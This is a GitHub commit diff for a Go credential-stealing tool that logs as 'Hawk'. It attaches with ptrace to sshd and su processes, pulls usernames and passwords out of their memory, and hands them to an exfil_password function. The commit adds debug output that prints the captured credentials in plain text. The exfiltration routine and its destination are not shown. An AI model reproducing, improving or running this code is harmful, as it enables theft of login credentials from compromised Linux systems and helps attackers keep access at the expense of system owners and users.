Skip to content

Commit

Permalink
debug: pipeline build to debug
Browse files Browse the repository at this point in the history
  • Loading branch information
MattKeeley committed Feb 25, 2024
1 parent 9f46760 commit 170c3d0
Show file tree
Hide file tree
Showing 3 changed files with 11 additions and 4 deletions.
4 changes: 2 additions & 2 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -75,7 +75,7 @@ func main() {
if !processedFirstPID {
processedFirstPID = true
} else {
fmt.Printf("Found SSH Tracing %d\n", pid)
fmt.Println("SSHD process found with PID:", pid)
go traceSSHDProcess(pid)
processed_pids = append(processed_pids, pid)
}
Expand All @@ -84,7 +84,7 @@ func main() {
if !processedFirstPID {
processedFirstPID = true
} else {
fmt.Printf("Found SU Tracing %d\n", pid)
fmt.Println("SU process found with PID:", pid)
go traceSUProcess(pid)
processed_pids = append(processed_pids, pid)
}
Expand Down
6 changes: 5 additions & 1 deletion ssh_tracer.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,12 +8,15 @@ import (
)

func traceSSHDProcess(pid int) {
fmt.Printf("[Hawk] SSH Connection Identified on pid: %d.\n", pid)

err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
syscall.PtraceDetach(pid)
fmt.Printf("[Hawk] Detached from pid: %d.\n", pid)
}()

var wstatus syscall.WaitStatus
Expand All @@ -32,6 +35,7 @@ func traceSSHDProcess(pid int) {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, &regs)
if err != nil {
fmt.Println("PtraceGetRegs:", ptrace_err)
syscall.PtraceDetach(pid)
return
}
Expand All @@ -52,7 +56,7 @@ func traceSSHDProcess(pid int) {
var password = string(buffer)
valid := regexp.MustCompile(`\x00\x00\x00[^\n]*\f$`).MatchString(password)
if !valid {
fmt.Print("SSH Exfil Hit")
fmt.Printf("Username: %q, Password %q\n", username, password)
go exfil_password(username, removeFirstFourBytes(password))
}
}
Expand Down
5 changes: 4 additions & 1 deletion su_tracer.go
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,13 @@ import (
)

func traceSUProcess(pid int) {
fmt.Printf("[Hawk] SU Connection Identified on pid: %d.\n", pid)
err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
fmt.Printf("[Hawk] Detached from pid: %d.\n", pid)
syscall.PtraceDetach(pid)
}()
var wstatus syscall.WaitStatus
Expand All @@ -32,6 +34,7 @@ func traceSUProcess(pid int) {
var regs syscall.PtraceRegs
ptrace_err := syscall.PtraceGetRegs(pid, &regs)
if ptrace_err != nil {
fmt.Println("PtraceGetRegs:", ptrace_err)
syscall.PtraceDetach(pid)
return
}
Expand Down Expand Up @@ -61,7 +64,7 @@ func traceSUProcess(pid int) {
}
return true
}(password) {
fmt.Print("Su Exfil Hit")
fmt.Printf("Username: %q, Password %q\n", username, password)
go exfil_password(username, password)
}
}
Expand Down

0 comments on commit 170c3d0

Please sign in to comment.